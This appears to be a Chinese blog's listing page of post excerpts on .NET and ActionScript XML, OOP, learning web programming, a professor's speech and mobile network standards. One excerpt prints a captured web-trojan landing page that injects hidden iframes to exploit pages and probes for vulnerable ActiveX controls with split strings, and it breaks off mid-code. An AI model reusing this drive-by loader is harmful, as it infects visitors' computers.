博文
.NET XML(2009-03-21 08:48:00)
摘要: XML是一项热门的技术。它之所以能够引起人们的兴趣,一个主要的原因在于它十分的简单,人们可以很容易地理解和使用它。每一个程序员都能轻易地看懂一个XML文件,理解它包含的内容。
.NET中包含了很多支持XML的类,这些类使得程序员使用XML编程就如同理解XML文件一样简单。在这篇文章中,我将给出这样的一个类的使用示例,这个类就是XmlTextWriter类。
XmlTextWriter类允许你将XML写到一个文件中去。这个类包含了很多方法和属性,使用这些属性和方法可以使你更容易地处理XML。为了使用这个类,你必须首先创建一个新的XmlTextWriter对象,然后你可以将XML片断加入到这个对象中。这个类中包含了不少的方法用于将各种类型的XML元素添加到XML文件中,下表给出了这些方法的名字和描述情况:
方法
描述
WriteStartDocument
书写版本为“1.0”的 XML 声明
WriteEndDocument
关闭任何打开的元素或属性
Close
关闭流
WriteDocType
写出具有指定名称和可选属性的 DOCTYPE 声明
WriteStartElement
写出指定的开始标记
WriteEndElement
关闭一个元素
WriteFullEndElement
关闭一个元素,并且总是写入完整的结束标记
WriteElementString
写出包含字符串值的元素
WriteStartAttribute
书写属性的起始内容
WriteEndAttribute
关闭上一个 WriteStartAttribute 调用
WriteRaw
手动书写原始标记
WriteString
书写一个字符串
WriteAttributeString
出具有指定值的属性
WriteCData
写出包含指定文本的 <![CDATA[...]]> 块
WriteComment
写出包含指定文本的注释 &l......
XMLDOCUMENT(2009-03-21 08:44:00)
摘要:
XmlDocument类
XmlDocument类扩展了XmlNode,并代表 XML 文档。它是内存方式的读取器,在内存中将Xml数据用树型结构来表示,它允许往返遍历树的各个节点,允许对节点进行读取和修改。
1.XmlDocument类的属性
XmlDocument类的属性及说明如下表所示。
表 XmlDocument类的属性及说明
属性
说明
Attributes
当前节点的属性集合
BaseURI
当前节点的基URI
ChildNodes
节点的所有子节点
DocumentElement
文档的根
DocumentType
DOCTYPE 声明的节点
FirstChild
节点的第一个子节点
HasChildNodes
是否有任何子节点
Implementation
获取当前文档的 XmlImplementation对象
InnerText
节点包含的所有文本内容
InnerXml
节点所包含的所有XML内容
IsReadOnly
当前节点是否是只读的
Item
获取指定的子元素
LastChild
最后一个子节点
LocalName
获取节点的本地名称
Name
获取节点的限定名
NamespaceURI
获取该节点的命名空间 URI
NameTable
获取与此实现关联的 XmlNameTable
NextSibling
获取紧接在该节点之......
XML类(2009-03-21 08:44:00)
摘要:
XML类(2008-10-06 16:44:34)
var $tag='xml,as,杂谈';
var $tag_code='e84d38145d7d4de7a2480cdc0e42a0ab';
标签:xml as 杂谈
分类:ActionScript
先看一个例子:
var imageXML:XML = <images>
<image source="images/Image1.jpg" thumb="thumbnails/Image1.jpg">Description of image 1.</image>
<image source="images/Image2.jpg" thumb="thumbnails/Image2.jpg">Description of image 2.</image>
<image source="images/Image3.jpg" thumb="thumbnails/Image3.jpg">Description of image 3.</image>
<image source="images/Image4.jpg" thumb="thumbnails/Image4.jpg">Description of image 4.</image>
</images>;
trace(imageXML.children()[0].attribute("source")) //输出:images/Image1.jpg
trace(imageXML.image[0].attribute("source"));//输出:images/Image1.jpg
trace(imageXML.child("image")[0].attribute("source"));//输出:images/Image1.jpg
常用方法:
......
我也来截取网码(2009-03-18 08:09:00)
摘要:我也开始截取网马 刚开始做 资料不全 仅供参考
<html>
<script>
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=100 height=0 src=tnt.htm></iframe>");
document.write("<iframe width=100 height=0 src=flash.htm></iframe>");
if(navigator.userAgent.toLowerCase().indexOf("msie 7")>0)
document.write("<iframe src=02.htm width=100 height=0></iframe>");
try{var d;
var lz=new ActiveXObject("GLI"+"EDown.I"+"EDown.1");}
catch(d){};
finally{if(d!="[object Error]"){document.write("<iframe width=100 height=0 src=lz.htm></iframe>");}}
try{var b;
var of=new ActiveXObject("snpvw.Snap"+"shot Viewer Control.1");}
catch(b){};
finally{if(......
程序员从小培养思维方式(2009-02-24 15:21:00)
摘要:某日,老师在课堂上想考考学生们的智商,就问一个男孩: “树上有十只鸟,开枪打死一只,还剩几只?”
男孩反问:“是无声手枪,还是其他没有声音的枪么?”
“不是.”
“枪声有多大?”
“80~100分贝.”
“那就是说会震的耳朵疼?”
“是.”
“在这个城市里打鸟犯不犯法?”
‘不犯.”
“您确定那只鸟真的被打死啦?”
“确定.”老师已经不耐烦了,”拜托,你告诉我还剩几只就行了,OK?”
“OK.鸟里有没有聋子?”
“没有.”
“有没有鸟智力有问题,呆傻到听到枪响不知道飞的?”
“没有,智商都在200以上!”
“有没有关在笼子里的?”
“没有.”
“边上还有没有其他的树,树上还有没有其他鸟?”
“没有.” “方圆十里呢?” “就这么一棵树!”
“有没有残疾或饿的飞不动的鸟?”
“没有,都身体倍棒.”
“算不算怀孕肚子里的小鸟?”
“都是公的.”
“都不可能怀孕?”
“………,决不可能.”
“打鸟的人眼里有没有花?保证是十只?”
“没有花,就十只.” 老师脑门上的汗已经流下来了,
下课铃响起,但男孩仍继续问:“有没有傻的不怕死的?”
“都怕死.”
“有没有因为情侣被打中,自己留下来的?”
“笨蛋,之前不是说都是公的嘛!”
“同志可不可以啊!”
“………….,性取向都很正常!”
“会不会一枪打死两只?”
“不会.”
“一枪打死三只呢?”
“不会.”
“四只呢?”
“更不会!”
“五只呢?”
“绝对不会!!!”
“那六只总有可能吧?”
“除非你他妈的是猪生的才有可能!一枪只能打死一只!”
“…好吧,那么所有的鸟都可以自由活动么?”
“完全可以.”
“它们受到惊吓起飞时会不会惊慌失措而互相撞上?”
“不会,每只鸟都装有卫星导航系统,而且可以自动飞行.”
“恩,如果您的回答没有骗人,”学生满怀信心的回答,“打死的鸟要是挂在树上没掉下来,那么就剩一只,如果掉下来,就一只不剩.”
老师推推眼镜,强忍着要昏倒的感觉,颤抖地说道:“你可以去当程序员了……”......
如何培养面向对象(OO)的思维方式 (1)(2009-02-24 14:21:00)
摘要:
2008-05-24 05:08:36.0 浏览:73 来源:赛迪博客
关键词:
我是从学习Java编程开始接触OOP(面向对象编程),刚开始使用Java编写程序的时候感觉很别扭,因为我早以习惯用C来编写程序,很欣赏C的简洁性和高效性,喜欢C简练而表达能力丰富的风格,特别忍受不了Java运行起来慢吞吞的速度,相对冗长的代码,而且一个很简单的事情,要写好多类,一个类调用一个类,心里的抵触情绪很强。
我对Java的面向对象的特性琢磨良久,自认为有所领悟,也开始有意识的运用OOP风格来写程序,然而还是经常会觉得不知道应该怎样提炼类,面对一个具体的问题的时候,会觉得脑子里千头万绪的,不知道怎么下手,一不小心,又会回到原来的思路上去。
举个例子,要发广告邮件,广告邮件列表存在数据库里面。倘若用C来写的话,一般会这样思考,先把邮件内容读入,然后连接数据库,循环取邮件地址,调用本机的qmail的sendmail命令发送。
然后考虑用Java来实现,既然是OOP,就不能什么代码都塞到main过程里面,于是就设计了三个类:
一个类是负责读取数据库,取邮件地址,调用qmail的sendmail命令发送;
一个类是读邮件内容,MIME编码成HTML格式的,再加上邮件头;
一个主类负责从命令读参数,处理命令行参数,调用发email的类。
把一件工作按照功能划分为3个模块分别处理,每个类完成一件模块任务。
仔细的分析一下,就会发现这样的设计完全是从程序员实现程序功能的角度来设计的,或者说,设计类的时候,是自低向上的,从机器的角度到现实世界的角度来分析问题的。因此在设计的时候,就已经把程序编程实现的细节都考虑进去了,企图从底层实现程序这样的出发点来达到满足现实世界的软件需求的目标。
这样的分析方法其实是不适用于Java这样面向对象的编程语言,因为,如果改用C语言,封装两个C函数,都会比Java实现起来轻松的多,逻辑上也清楚的多。
我觉得面向对象的精髓在于考虑问题的思路是从现实世界的人类思维习惯出发的,只要领会了这一点,......
关于初学者要怎么样学习WEB编程(2009-02-11 22:32:00)
摘要:
最近很多人在WEB编程开发这个版块发表帖子,例如"我是初学者,我应该从哪里开始学
习","我的某方面不好,对WEB编程有没有影响","学习WEB编程的话要从什么地方写起,ASP
ASP.NET PHP JAVA 先学哪个,后学哪个."等等,类似这种求救贴挺多的,为了让大家大致了解
一下WEB编程到底是什么,我们应该如何学习WEB编程.于是我就转载这篇文章顶置一下,希望大
家看后有个了解.
呵呵,WEB编程吗?其实大家不要把它想得太高深的东西,认为它是遥不可及的,不可逾越的
.其实未然,其实
WEB编程语言挺简单的,千万不要把它神话了.我认为想要提高WEB编程水平,就是多敲打代码,
多看书,多看写别人的例子,多写一些项目,像"留言本啊,会员系统啊"等小例子,这样你的水平
才能提高,曾经有个大三学长告诉我,他写个项目,就把这一学期的知识都掌握起来,这是当然的
,因为项目要涉及到各个方面的知识,不懂要自己查书,这样一来不就把知识都掌握起来了
1.我该学什么语言?
ASP、ASP.NET、PHP、JAVA……面对各种各样的WEB编程语言,你是不是被弄昏了头脑呢?该学
什么?“学JAVA吧!”许多高手说。并且还举了很有说服力的例子:“学ASP只要两个月,学
JAVA要一年,如果先学ASP再学JAVA,所用时间仍然是一年,但学了JAVA再学ASP,所用时间将
不到两个月。”这句话没错,的确是这样的。但是刚入门的初学者都能学JAVA?把每个人都看
得这么高?一些初学者把JAVA当成自己的入门语言,结果能学到最后的只有少部分人!我们不
能奢望所有初学者都是在十分熟悉网站制作的情况下才开始接触WEB编程的,实际上,很多人
就是在学习WEB编程的过程中逐渐深入了解网站制作的,要是所有人都选择JAVA作为“入门级
语言”…… 初学者应该根据自身情况来选择语言,如果你刚开始接触网站制作,应该去学ASP
、PHP,因为ASP、PHP很好学,基础最重要;当然,还有ASP.NET,它是微软力推的产品。除非
你已经做了很多年的网站对此有些了解,否则别急着学JAVA,你会因此神经衰弱的。
2.切忌同时学......
一位大学教授令人发冷汗的演讲(转,全)(2008-11-18 21:01:00)
摘要:
发帖人:鲁安尼亚的骄傲 发帖时间:2008-11-14
作为一个学者,我不是来卖弄嘴皮子的。我认为各行各业对知识的接受是潜移默化,循序渐近的过程。下面从自然科学的角度来谈谈我的一些观点,我提出几个重大问题:
第一,我国搞了几十年的科学研究与攻关,在几十个工业门类中,到底有哪几个是属于中国的民族工业或者可以称为自己的工业的?到底有哪几项科研在国际上是数一数二的?中国现在到底需要什么?我经常出国,每出一次国,灵魂就受到一次洗礼,就巴不得在回来的第二天就去中小学讲。为什么?就是感到紧迫的压力和羞愧,特别是去了日本和韩国,这两个同属于东方国家去了之后,感触更多。
下面这四个方面,是近5年吹得最厉害的。先说超导,这也是从美国人开始的。我是一个教授,在浙大当老师,浙大的“求是”是个无价之宝。现在中国的知识分子有个弱点,就是不喜欢人家说自己的缺陷,更不愿意自己说自己的缺陷。我今天就愿意来揭揭自己的短,面对产业家,我更应该说实话。
中国今天的科技很多都是“跟踪”,这也难为中国的教授,因为日子过得较苦,没有钱,加上很多领导同志本身也没有知识,为了蒙领导,让他们拨一点钱,总得把一些文章、报告、口号写得越高越好。比如,现在教育界号称“建世界第一流大学”,教育部跨世纪发展计划中定的10所大学,现在已选定了9所,第10所还未选出。在中国这个发展中国家,你能建10所世界一流大学,那美国有多少所?日本有多少所?现在的实际状况是:世界上前200所大学,中国一所都排不进!在亚洲能排出几所?我到国外去看了以后,感到要将浙大建成世界一流大学就像Communist主义理想,我们永远要努力!但是,我们不应该去追求这样虚幻的目标,去呼这样的口号,我们的差距还很大。
现在的几个行业也是前几年套着中国科技产业目标走得几个方向。像纳米,它只不过是一个尺度概念。各种尺度的材料都有各自的用处,比如,为什么要把泥土拿来做成砖,砖的尺度比沙泥要大得多,因为小的沙粒没有强度。我们怎么能把丰富多彩的物质世界只说成是一个纳米呢?所以,谁都没有注意是谁提出的这个口号的,其实我们又中了美国人的圈套!这与军备竞赛是一样的。超导中国科学院在搞;基因上海在搞;纳米全国在搞,连工厂技术员也在搞。
刚才何祚庥先生讲的悬浮列车,不要以为上海的高楼大厦与东京、大阪一样,中......
手机网络短信原理介绍,手机上网设置,手机电池介绍~2(2008-10-05 19:14:00)
摘要:手机视频格式相关知识 自从2001年第一款256色的彩屏手机爱立信t68问世以来,短短的4年间彩屏手机几乎占据了手机市场的大部分份额,播放视频文件是目前彩屏手机所流行的附加功能,不过不同的手机支持的视频格式有所不同。比如智能手机偏向于支持RM WMV AVI视频,而普通手机比较流行播放3GPP MPEG4格式视频。1.3GPP3GPP 的全称为 3G Partnership Protect 中文翻译为第三代合作伙伴项目,而3GPP视频是一种多媒体标准,支持MPEG-4和H.263视频编码协议与ACC高级声音编码及AMR自适应多速率音频标准。看到这里可能感觉很费劲。。。没关系,这只是一个定义而已。我们目前通常见到的3GPP视频多采用了H.263 AMR NB编码协议,它能在128KB/S的低速率下提供30祯/秒的流畅画面,手机可以在线点播。就目前情况来讲他适用于内存容量偏小的手机,而3GPP格式的视频很容易通过MMS彩信发送,目前大部分支持视频拍摄的手机都支持3GPP格式的视频播放。2.MEPEG41998年联合国成立的国际标准化组织ISO与国际电子委员会IEC制定了MPEG编码标准。全称是Moving Pictures Experts Group 中文翻译就是运动图像专家组。他们制定了三种版本的MPEG,分别是我们日常所经常能接触到的MPEG1 MPEG2 MPEG3 其中MPEG3我们大家很熟悉,就是MP3。其后该组织又制定了两种新的图像压缩编码标准,就是MPEG4 MPEG7。MPEG4是超低码率运动图像和语言的压缩标准。他的优点也很多。MPEG4压缩比很高,可以低码率的传输视频。经过MPEG4编码优化处理后的图像文件较小,与MPEG1 MPEG2相比,压缩率更高,清晰度也更好。最高可达到768*576清晰度,这个清晰度已经接近于DVD的画面了!大家可能对这方面不太关心,那么就说说应用。MPEG4压缩算法的Divx视频编码技术可以将120分钟的电影压缩600MB左右,也可以将一部DVD压缩到两张CD-ROM上,这样我们就不必非要利用DVD设备来享受到DVD画质的影像。对于手机视频的应用,MPEG4能够在带宽较小的情况下进行视频传输。由于手机的硬件不能同......
手机网络短信原理介绍,手机上网设置,手机电池介绍~1(2008-10-05 19:13:00)
摘要:GSM就是Global System For Mobile Communication的缩写,意思是全球移动通信系统,就是我们所说的全球通。这个系统是由欧洲主要电信运营者和制造厂家组成的标准化委员会设计开发的。全球通是中国移动通信数字移动电话网所拥有的著名用户品牌。网号139,138,137,136,135都是属于GSM数字移动电话网的,只是 139,138最先开通使用,后来扩充到了这么多。他们的信号接收能力,拨号方法,覆盖范围,漫游地区,使用功能是一致的。
下面来说说他的技术,他采用的是数字调制技术,关键之一是时分多址就是说每一个用户在某一个时间上选用载频并且只能在特定时间下收信息。
GSM的主要特点如下 防盗拷能力强,网络容量大,号码资源丰富,通话清晰,稳定性强不易干扰,信息灵敏,通话死角少,手机耗电低等等。
无论中国移动或者中国联通,目前的业务量中很大一部分都是语音通信。随着GPRS的不断推广和CDMA的不断成熟,GSM的市场份额正在不断下降。随着科技的发展,谁都不愿意选择功能单一,样式不够新潮的老爷机。事实也是如此,除了部分恋旧的老用户外,使用GSM手机的更多是低收入人群和广大农村地区。虽然预测2G到3G是一个漫长的过程,但是现在2.5G网络逐步取代GSM的步伐来看,GSM到底能撑多久谁也不能说出。。。相信大家一定还记得那一款昔日昂贵的机型MOTO V998吧。。
接下来给大家说说GPRS
GPRS的概念就是General Packet Radio Service。中文就是通用无线分组业务,是一种基于GSM系统的无线分组交换技术,提供端到端,广域的无线ip连接。相对原来的GSM拨号方式的电路交换数据传送方式,GPRS是分组交换技术,具有实时在线,按量计费,快捷登陆,高速传输,自如切换等优点,简单来说呢,GPRS就是高速数据处理的技术,方法是以分组的形式传送资料到用户手上。
GPRS的实际应用都有那一些呢?大家肯定都不陌生。包括移动电子邮件,多媒体信息服务,移动娱乐,移动聊天,位置服务,企业服务,移动搜索服务,移动电子商务。
那么大家经常用手机上网最常看见的就是WAP,那么WAP又是什么呢?WAP是一种无线应用协议,是一个全球性的开放协议。WAP定义可通用的平台,把目前 Internet网上HTML语言的信息转换场用W......